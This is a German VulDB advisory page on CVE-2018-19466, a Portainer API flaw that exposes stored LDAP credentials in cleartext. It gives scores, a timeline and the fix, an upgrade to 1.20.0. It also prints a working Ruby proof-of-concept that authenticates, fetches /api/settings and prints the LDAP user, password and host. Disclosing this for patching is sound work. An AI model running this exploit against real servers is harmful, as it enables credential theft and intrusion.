Portainer bis 1.19.x API Credentials erweiterte Rechte

CVSS Meta Temp ScoreAktueller Exploitpreis (≈)CTI Interest Score
7.3$0-$5k0.00

Zusammenfassunginfo

In Portainer bis 1.19.x wurde eine Schwachstelle ausgemacht. Sie wurde als problematisch eingestuft. Dies betrifft einen unbekannten Teil der Komponente API. Durch Manipulation mit unbekannten Daten kann eine erweiterte Rechte-Schwachstelle (Credentials) ausgenutzt werden. Die Verwundbarkeit wird unter CVE-2018-19466 geführt. Der Angriff kann über das Netzwerk erfolgen. Desweiteren ist ein Exploit verfügbar. Als bestmögliche Massnahme wird das Einspielen eines Upgrades empfohlen.

Detailsinfo

In Portainer bis 1.19.x wurde eine problematische Schwachstelle entdeckt. Hierbei betrifft es ein unbekannter Ablauf der Komponente API. Durch Manipulation mit einer unbekannten Eingabe kann eine erweiterte Rechte-Schwachstelle (Credentials) ausgenutzt werden. CWE definiert das Problem als CWE-255. Die Auswirkungen sind bekannt für die Vertraulichkeit. Die Zusammenfassung von CVE lautet:

A vulnerability was found in Portainer before 1.20.0. Portainer stores LDAP credentials, corresponding to a master password, in cleartext and allows their retrieval via API calls.

Die Schwachstelle wurde am 27.03.2019 durch Mauro Eldritch (plaguedoktor) (GitHub Repository) öffentlich gemacht. Das Advisory findet sich auf github.com. Die Verwundbarkeit wird seit dem 22.11.2018 als CVE-2018-19466 geführt. Sie ist leicht auszunutzen. Der Angriff kann über das Netzwerk angegangen werden. Um eine Ausnutzung durchzusetzen, muss keine spezifische Authentisierung umgesetzt werden. Es sind zwar keine technische Details, jedoch ein öffentlicher Exploit zur Schwachstelle bekannt. Diese Schwachstelle wird durch das MITRE ATT&CK als Angriffstechnik T1552 bezeichnet.

Ein öffentlicher Exploit wurde durch Mauro Eldritch (plaguedoktor) in Ruby programmiert und schon vor und nicht nach dem Advisory veröffentlicht. Der Download des Exploits kann von github.com geschehen. Er wird als proof-of-concept gehandelt. Mindestens 123 Tage galt die Schwachstelle als nicht öffentlicher Zero-Day. Während dieser Zeit erzielte er wohl etwa $0-$5k auf dem Schwarzmarkt. Der durch den Exploit genutzte Code gestaltet sich wie folgt:

uri = URI.parse("http://#{$host}:#{$port}/api/auth")
request = Net::HTTP::Post.new(uri)
request.content_type = "application/json"
request.body = JSON.dump({
    "Password" => "#{$pass}",
    "Username" => "#{$user}"
})
response = Net::HTTP.start(uri.hostname, uri.port) do |http|
    http.request(request)
end
token = JSON.parse(response.body)["jwt"]
puts "[*] Session Token: #{token}"
uri = URI.parse("http://#{$host}:#{$port}/api/settings")
request = Net::HTTP::Get.new(uri)
request["Authorization"] = "Bearer #{token}"
response = Net::HTTP.start(uri.hostname, uri.port) do |http|
    http.request(request)
end
json_response = JSON.parse(response.body)
puts "\n[*][#{$host}]\nSettings:"
puts "\t- LDAP User: " + json_response["LDAPSettings"]["ReaderDN"]
puts "\t- LDAP Pass: " + json_response["LDAPSettings"]["Password"]
puts "\t- LDAP Host: " + json_response["LDAPSettings"]["URL"]

Ein Aktualisieren auf die Version 1.20.0 vermag dieses Problem zu lösen.

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Produktinfo

Name

Version

Webseite

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

CVSSv3info

VulDB Meta Base Score: 7.6
VulDB Meta Temp Score: 7.3

VulDB Base Score: 5.3
VulDB Temp Score: 4.8
VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍

NVD Base Score: 9.8
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VektorKomplexitätAuthentisierungVertraulichkeitIntegritätVerfügbarkeit
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten
freischaltenfreischaltenfreischaltenfreischaltenfreischaltenfreischalten

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Zuverlässigkeit: 🔍

NVD Base Score: 🔍

Exploitinginfo

Name: Credentials
Klasse: Erweiterte Rechte / Credentials
CWE: CWE-255
CAPEC: 🔍
ATT&CK: 🔍

Physisch: Nein
Lokal: Nein
Remote: Ja

Verfügbarkeit: 🔍
Zugang: öffentlich
Status: Proof-of-Concept
Autor: Mauro Eldritch (plaguedoktor)
Programmiersprache: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔍

0-Dayfreischaltenfreischaltenfreischaltenfreischalten
Heutefreischaltenfreischaltenfreischaltenfreischalten

Threat Intelligenceinfo

Interesse: 🔍
Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍

Gegenmassnahmeninfo

Empfehlung: Upgrade
Status: 🔍

0-Day Time: 🔍

Upgrade: Portainer 1.20.0
Patch: github.com

Timelineinfo

22.11.2018 🔍
24.11.2018 +2 Tage 🔍
27.03.2019 +123 Tage 🔍
28.03.2019 +1 Tage 🔍
17.08.2023 +1603 Tage 🔍

Quelleninfo

Produkt: github.com

Advisory: github.com
Person: Mauro Eldritch (plaguedoktor)
Status: Bestätigt

CVE: CVE-2018-19466 (🔍)
GCVE (CVE): GCVE-0-2018-19466
GCVE (VulDB): GCVE-100-132499
scip Labs: https://www.scip.ch/?labs.20161013

Eintraginfo

Erstellt: 28.03.2019 11:38
Aktualisierung: 17.08.2023 06:22
Anpassungen: 28.03.2019 11:38 (51), 24.05.2020 09:02 (17), 17.08.2023 06:22 (4)
Komplett: 🔍
Cache ID: 216::103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Diskussion

Bisher keine Kommentare. Sprachen: de + en.

Bitte loggen Sie sich ein, um kommentieren zu können.

Want to know what is going to be exploited?

We predict KEV entries!